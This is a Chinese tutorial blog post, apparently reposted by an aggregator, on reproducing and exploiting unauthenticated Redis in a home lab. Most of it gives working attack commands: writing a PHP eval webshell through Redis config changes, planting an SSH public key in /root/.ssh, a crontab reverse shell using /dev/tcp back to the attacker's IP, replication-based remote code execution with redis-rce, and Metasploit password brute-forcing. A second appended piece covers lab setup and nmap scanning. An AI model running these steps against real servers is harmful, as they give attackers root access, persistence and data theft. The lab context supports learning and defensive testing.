Redis未授权漏洞复现及利用(window,linux)
Posted 糊涂是福yyyy
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Redis未授权漏洞复现及利用(window,linux)相关的知识,希望对你有一定的参考价值。
目录
1.了解redis
Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivota赞助。
2.redis漏洞原理
Redis默认情况下是绑定在0.0.0.0:6379端口的,如果没有设置密码(一般密码为空)或者密码为弱密码的情况下并且也没有进行有效保护措施,那么处于公网的redis服务就会被任意的用户未授权访问,读取数据,甚至利用redis自身的命令,进行写入文件操作,这样就会恶意攻击者利用redis未授权漏洞进行进一步攻击。
3.redis漏洞复现
我看很多redis漏洞复现靶机和攻击机都是linux系统的,如果你是这样的那么网上比较多这样复现文章,也比较简单。本文是攻击机是windows和靶机是Linux,kali虚拟机之间的漏洞复现。
攻击机:window10 专业版 ip 192.168.43.102
靶机:linux kali ip192.168.43.141
3.1 安装redis
3.1.1 Linux安装redis
因为我之前已经安装过了就不把步骤截图了,代码步骤已经给大家写清楚了,实在不会就自己百度。可能在make时候报错,可能是你gcc没有下载。
第一步 wget http://download.redis.io/releases/redis-2.8.17.tar.gz#下载redis
第二步 tar xzf redis-2.8.17.tar.gz#解压安装包
第三步 cd redis-2.8.17 #进入redis文件夹
第四步 make #在redis-2.8.17文件夹下执行make
第五步 cd src#进入redis-2.8.17文件夹下的src文件夹
第六步 cp redis-server /usr/bin
第七步 cp redis-cli /usr/bin #将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)
第八步 cp redis-conf /etc/ #返回目录redis-2.8.17,将redis.conf拷贝到/etc/目录下
第九步 redis-server /etc/redis.conf #使用/etc/目录下的reids.conf文件中的配置启动redis服务
可以看到我在任何地方都可以启动redis服务端。
3.1.2 windows安装redis
首先自己去下载redis压缩包,直接解压。官网自己去下载。在redis文件夹下运行cmd,如果你的redis服务端开启,执行下面代码就进行连接
redis-cli.exe -h 192.168.43.141 #ip是你靶机的IP地址,端口可加可不加。
#redis-cli.exe -h 192.168.43.141 -p 6379
#如果是linux连接
redis-cli -h ip
到目前为止redis未授权漏洞我们已经复现成功,接下来就是漏洞利用。
注意:如果是版本比较高的redis需要修改redis的配置文件,linux是redis.conf。如果是windows配置文件是redis.windows.conf。将bind前面#注释符去掉,将protected-mode 后面改为no。
4.redis漏洞利用
4.1利用redis漏洞写webshell
4.1.1利用前提
1.靶机redis链接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证
2.开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限(开启web服务器,就可以利用url使用蚁剑进行连接)
4.1.2上传webshell
config get dir #查看redis数据库路径
config set dir /root/redis-2.8.17# #修改靶机Redis数据库路径
config set dbfilename 22.php #生成22.php文件
set xxx "\\r\\n\\r\\n<?php phpinfo();?>\\r\\n\\r\\n"#将一句话木马写入文件中
#"\\r\\n\\r\\n"是换行的意思,用redis写入文件会自带一些版本信息,如果不换行可能导致无法执行。
set xxx "\\r\\n\\r\\n<?php eval($_POST[whoami]);?>\\r\\n\\r\\n"#上传木马可以通过蚁剑连接
save#保存
经过上述代码操作,可以看到22.php文件成功写入到/root/redis-2.8.17文件夹下,且一句话木马成功写入22.php文件里面。如果开启web服务就可以将一句话木马写入网站目录下,那么利用一句话木马就可以得到敏感信息。或者可以通过蚁剑连接。具体步骤可以看下面。蚁剑连接密码就是whoami,不会蚁剑这个自己再学习这方面知识了。
4.2利用redis漏洞ssh密钥连接
4.2.1 ssh密钥连接
大家都知道可以通过ssh远程登录另外一台电脑。ssh登录有两种一个是密码登录,一个是密钥登录我们主要看密钥登录是什么流程,公钥登录是为了解决每次登录服务器都要输入密码的问题,流行使用RSA加密方案,主要流程包含:
1、客户端生成RSA公钥和私钥
2、客户端将自己的公钥存放到服务器
3、客户端请求连接服务器,服务器将一个随机字符串发送给客户端
4、客户端根据自己的私钥加密这个随机字符串之后再发送给服务器
5、服务器接受到加密后的字符串之后用公钥解密,如果正确就让客户端登录,否则拒绝。这样就不用使用密码了。
4.2.2 利用前提
1.当redis以root身份运行。
2.靶机redis链接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证。
3.存在/root/.ssh目录,如果不存在我们可以通过一句话木马连接蚁剑创建目录不过可能进不去root目录权限问题可能或者自己mkdir一个目录毕竟是自己搭建靶场。因为.ssh是隐藏目录可以通过ls -la查看有没有。
4.2.3 客户端生成密钥
我是windows没有办法直接生成密钥所以需要安装git,可以自己百度安装流程,从官网下载的安装包。如果不想这么麻烦可以在靶机linux系统直接运行代码生成密钥再将密钥复制粘贴出来,或者开启web服务下载,毕竟我们只是演练。
1.安装好git,在桌面右击进入Git Bash Here 。输入下面指令生成密钥。在你用户名文件夹下.ssh文件里面就会出现公钥和私钥。
ssh-keygen -t rsa
2.生成密钥之后我们可以将公钥id_rsa.pub里面内容复制粘贴到key.txt文件中,再上传到靶机上面
3.通过以下命令将公钥上传到靶机。
type key.txt | redis-cli.exe -h 192.168.43.141 -x set xxx#如果是linux 将type换成cat
#将公钥作为value插入到数据库中,key随便啥值。
redis-cli.exe -h 192.168.43.141 config set dir /root/.ssh
#修改redis数据库路径
redis-cli.exe -h 192.168.43.141 config set dbfilename authorized_keys
#生成缓冲文件authorized_keys
redis-cli.exe -h 192.168.43.141 save
#保存
ssh -i id_rsa root@192.168.43.141
#连接
可以看到之前是没有authorized_keys文件,执行命令之后在/root/.ssh下面产生了公钥文件。
4.成功利用ssh私钥进行连接。
4.2.4注意
1.如果你是linux系统使用cat,是windows系统使用type.
2.如果你是windows那你利用ssh密钥连接运行ssh -i id_rsa root@192.168.43.141需要在.ssh目录下,因为权限问题。
3.你利用redis上传公钥时候运行代码是在你解压的redis文件下运行。
4.文件名必须是authorized_keys,由配置文件决定的。
4.3利用crontab反弹shell
首先大家要知道crontab是什么,主要是用来定时执行某些任务,如果我们把一些命令放入指定文件里面,那么程序会定时去执行,相当于是每隔一段时间自动执行命令,不用担心当我们关闭会话或者目标主机关机,这个对我们后期持久化渗透是很有帮助的。
4.3.1下载nc
如果你的攻击机是kali是自带nc,如果像我一样是windows需要自己去下载一个nc,安装很简单,nc下载地址netcat 1.11 for Win32/Win64,安装好nc,打开cmd,输入命令监听你反弹shell的端口,这个端口随便设置的,主要取决你反弹命令里面设置的端口。
nc -lvp 8888
4.3.2 上传反弹shell命令
首先我们需要定位到我们需要的文件路径下,因为在/var/spool/cron/crontabs/下如果文件名是root,那么会定时执行里面的命令。这个目录不同操作系统是不一样我的是debain的。具体步骤如下:
redis-cli.exe -h 192.168.43.141
config set dir /var/spool/cron/crontabs
config set dbfilename root
set xxx "\\n\\n* * * * * /bin/bash -i>&/dev/tcp/192.168.43.102/8888 0>&1\\n\\n"
#前面五个星号分别表示 分 时 天 月 周 一般用于具体的定时时间。后面就是执行的命令。\\n\\n是换行前面已经说过,因为redis会出现乱码,可以通过上传的root文件看到有乱码。
save
可以看到成功上传反弹命令
4.3.3解决redis crontab反弹shell失败
当我们攻击机利用nc开启8888端口监听,一直没有收到反弹的shell,所以我进行了一下排查原因,也许你们也会需要同样情况
第一个:首先你要看一下你的cron启动没有,可以先查看状态如果是running,那就不用管,如果不是就需要启动一下,一般而言cron都是自启动的。所以一般来说不会是这个出问题。
service crond restart#重启
service crond start#启动
service crond stop#关闭
service crond status#查看状态
第二个:我发现我的cron启动了但是依然无法反弹shell,去找了资料知道利用redis未授权访问写的任务计划文件都有乱码,这是乱码来自redis的缓存数据,这个问题无法解决的。centos会忽略乱码去执行格式正确的任务计划,而ubuntu和debian并不会忽略这些乱码,所以导致命令执行失败。我们手动删除乱码发现反弹仍然失败,查看资料发现我们还需要关注以下问题。
第三个:root文件的权限必须为600也就是说是rw-----------
chmod 600 root#修改root文件权限
第四个:我们反弹shell的/bin/sh是bash,而我的靶机的bin/sh是dash ,所以运行出错。我们需要通过以下命令查看和修改。
ls -al /bin/sh#查看运行环境
ln -s -f bash /bin/sh#修改为bash
当我们按照上述步骤修改完成可以看到反弹成功。但是ifconfig不能执行可以通过下面代码是的ifconfig成功执行。
ln -s /usr/sbin/ifconfig /usr/bin/ifconfig
总结:计时任务反弹shell 如果是ubuntu和debian操作系统这个就没有办法利用成功,centos操作系统是可以的利用的
4.4利用redis主从复制反弹shell
4.4.1 了解redis主从复制
redis主从复制我们简单理解为有两台redis服务器,一个是主,一个是从,两台服务器的数据是一样的,主服务器负责写入数据,从服务器负责读取数据。一般一个主服务器有好几个从服务器,且从服务器可能也是其他redis服务器的主服务器。这样的好处就是如果主服务器或者一个从服务器崩溃不会影响数据完整性,且读写分开,减轻服务器压力。这个大家自己找一些资料了解一下。
4.4.2主从复制反弹shell
如果要是的利用成功需要先下载攻击代码,步骤已经给到大家。这步骤是linux的下载步骤,windows可以直接将这个linux里面redis-rce文件夹复制过来就行了。当然module.so已经移过来了。这个exp我感觉是针对Linux的,可能跟他调用命令函数有关是linux函数。windows系统可以产生shell但是写命令没有反应,所以这里我的靶机和攻击机就要换过来。因为我这个是我在家实验的所以网段和上面就不一样了。这里还有注意如果利用redis主从复制redis版本要是4.x或者5.x
靶机:kali 192.168.3.231
攻击机 windows 192.168.3.207
第一步:git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
#下载RedisModules-ExecuteCommand
第二步:git clone https://github.com/Ridter/redis-rce
#下载redis-rce
第三步:cd RedisModules-ExecuteCommand
第四步:make
#进入RedisModules-ExecuteCommand 使用make进行编译
第五步:mv module.so /root/redis-rce
#编译之后将module.so移到redis-rce
第六步:cd /root/redis-rce
第七步:python3 redis-rce.py -r 192.168.3.207 -L 192.168.3.231 -f module.so
#进入到redis-rce 执行命令,-r是目标IP -L是攻击机ip
靶机开启redis服务端。
攻击机利用redis进行连接。
我直接将redis-rce复制到windows里面
运行代码发现报错,排查了一下是因为six模块没有安装,通过以下命令进行安装.,如果大家运行报错可以看看代码导入的模块有没有安装。
pip install six
安装six之后就没有报错了,可以看到一些参数,-r指的是靶机IP -L指的是攻击机IP,如果没有指定端口就会使用默认端口。
运行以下命令,会让你选择,可以输入i,r,e分别对应交互式shell,反弹shell和退出吧。
python redis-rce.py -r 192.168.3.231 -L 192.168.3.207 -f module.so
我选择交互式shell ,输入命令可以看到用户是root 还有网络信息。当然可以选择反弹shell。需要现在攻击机利用nc开启监听。等待片刻就可以了。
注意:如果redis需要密码,可以加-a参数。
5.利用msf破解redis密码
攻击机:kali 192.168.3.231
靶机:windows 192.168.3.207
首先我们将redis设置一个密码,找到配置文件设置一个密码。
msf是kali自带的一个攻击工具,里面有一些针对出现漏洞的exp。不过缺点就是更新不会很及时。
msfdb run#开启msf
search redis#查看有关redis的模块
use 5#选择5号模块
show options #展示需要设置的参数
set RHOST 192.168.3.207 #设置靶机的ip
run #运行模块
可以看到成功爆出密码,不过这个使用的是msf自带的密码字典,所以对于复杂密码就不行了,可以使用自己字典。可以使用编号为2的redis_server密码登录验证。可以使用编号为4的file_upload进行文件上传。可以上传一句话木马和密钥。原理和客户端连接是一样的。
好了终于将redis漏洞写完了,大家最好不用windows,太麻烦了。不过用来也没有关系,我已经给大家将坑填完了。总之这通过自己努力解决了很多问题,也是一种成就感。大家加油啊
Redis未授权访问漏洞复现
1.1 Redis环境配置
漏洞靶机(Centos7.9):192.168.55.136
攻击机(kali):192.168.55.129
1、安装redis
①首先可以创建用于安装redis文件配置的目录
mkdir /usr/local/redis
②进入redis文件并下载redis安装包
cd /usr/local/redis/
wget http://download.redis.io/releases/redis-3.2.0.tar.gz
其中wget是一个下载文件的工具,它用在命令行下,通常在我们经常要下载一些软件或从远程服务器恢复备份到本地服务器时使用;
tar xzf redis-3.2.0.tar.gz
在当前地址进行解压,生成redis-3.2.0文件夹
③ 进入解压后的redis-3.2.0文件夹
cd /usr/local/redis/redis-3.2.0
make
编译安装
注:
make工具是一个根据makefile文件内容,针对目标(可执行文件)进行依赖性检测(要生成该可执行文件之前要有哪些中间文件)并执行相关动作(编译等)的工具
。而这个makefile文件类似一个脚本,其中内容包含make所要进行的处理动作以及依赖关系。
另外make的一个好处就是当你对某个源文件进行了修改,你再次执行 make 命令,它将只编译与该源文件相关的目标文件而不是整个代码工程,结果生成.o和可执行文件:
④编译后出现如下界面显示成功,编译好了redis文件;
⑤vim redis.conf —>修改默认配置文件
注意一下这一步:按小编的配置路径的话:
redis在 /usr/local/redis/redis-3.2.0 src文件夹是在/usr/local/src
对文件路径绕混的小伙伴可以看,页面的home文件下–>other locations–>usr–>~~
redis安装完成,我们需要修改配置文件,配置允许可以远程访问。
⑥配置文件详情(特别注意)
两种方法:
①一处:在bind 127.0.0.1前面加上#号进行注释,并将protected-mode设置为no。
②一处#去掉,二处开启bind 127.0.0.1回环地址(保留地址),意思就是可以连接本机,用redis连接本机也有效;
开启192.168.55.136是由于可以使目标机索引本机ip,不可能别人连接你的回环地址吧;同时也要将protected-mode设置为no;
修改文件时vi命令模式时查询的命令 /xx,n向下查询N向上查询,查找那个protected-mode开关;
1.2 靶机CS的环境部署及攻击机Kali的战斗部署
一,对靶机CS的环境部署
1,想要启动redis-server和redis-cli不用每次都进入安装目录,可以复制执行的这两个文件放到etc文件下,但不是特别建议,毕竟为系统配置文件夹,少放点好,只是为了实验方便。
cd src
cp redis-cli /usr/bin
cp redis-server /usr/bin
cp redis.conf /etc/
2,启动redis-server
redis-server /etc/redis.conf
显示如下界面就成功了
3,验证是否成功启动了redis服务
netstat -nulpt|grep 6379/redis
ps -ef | grep redis
①
②
二,攻击机对kali系统的战斗部署
4,配置安装(启动redis)好环境,俺们都是大聪明_,那直接上原先的代码
mkdir /usr/local/redis
cd /usr/local/redis/
wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar xzf redis-3.2.0.tar.gz cd /usr/local/redis/redis-3.2.0 进入redis
make
redis-server /etc/redis.conf
5,大快人心的时刻,验证未授权访问
首先在攻击机kali上扫描靶机开启的端口情况
nmap -p 6379 --script redis-info 192.168.55.136
-->验证Redis未授权访问漏洞
扫描结果:扫描出来靶机CS(centos7)在6379端口开启了redis服务;
6,开始战斗模式啦
./redis-cli -h 192.168.55.136 -p 6379
2.1漏洞复现过程中可能出现的一些问题
num1–>连接不上,被靶机redis拒绝访问
这时查看centos防火墙是否关闭,并查看1、安装redis的第三步③是否正确配置;
防火墙的开关:(1)关闭防火墙:systemctl stop firewalld
(2)检查防火墙状态:systemctl status firewalld
想要了解关于防火墙命令的小知识请看俺的其他小文章哦~~~
num2–>Could not connect to Redis at 192.168.1.103:6379:No route to host
应该是centos的防火墙还没有开启6379端口,所以无法进行访问。这里需要打开端口模拟真实环境才能正常连接。
firewall-cmd --zone=public --add-port=6379/tcp --permanent
开放6379端口
firewall-cmd --reload
配置立即生效
绕后再次连接即可成功了;
num3–>出现以下页面,同num1处理方式一样,得开放本机ip被远程连接;
2.2漏洞利用的小姿势
主要是需要了解Redis的常见基本命令
① info 查看redis版本信息、一些具体信息、服务器版本信息等等:
②获取默认的redis目录、和rdb文件名:
CONFIG GET dir
CONFIG GET dbfilename
其他利用姿势有待后续学习更新~
各位道友学习后有疑问互相探讨哦,星海中探寻知识!!!
以上是关于Redis未授权漏洞复现及利用(window,linux)的主要内容,如果未能解决你的问题,请参考以下文章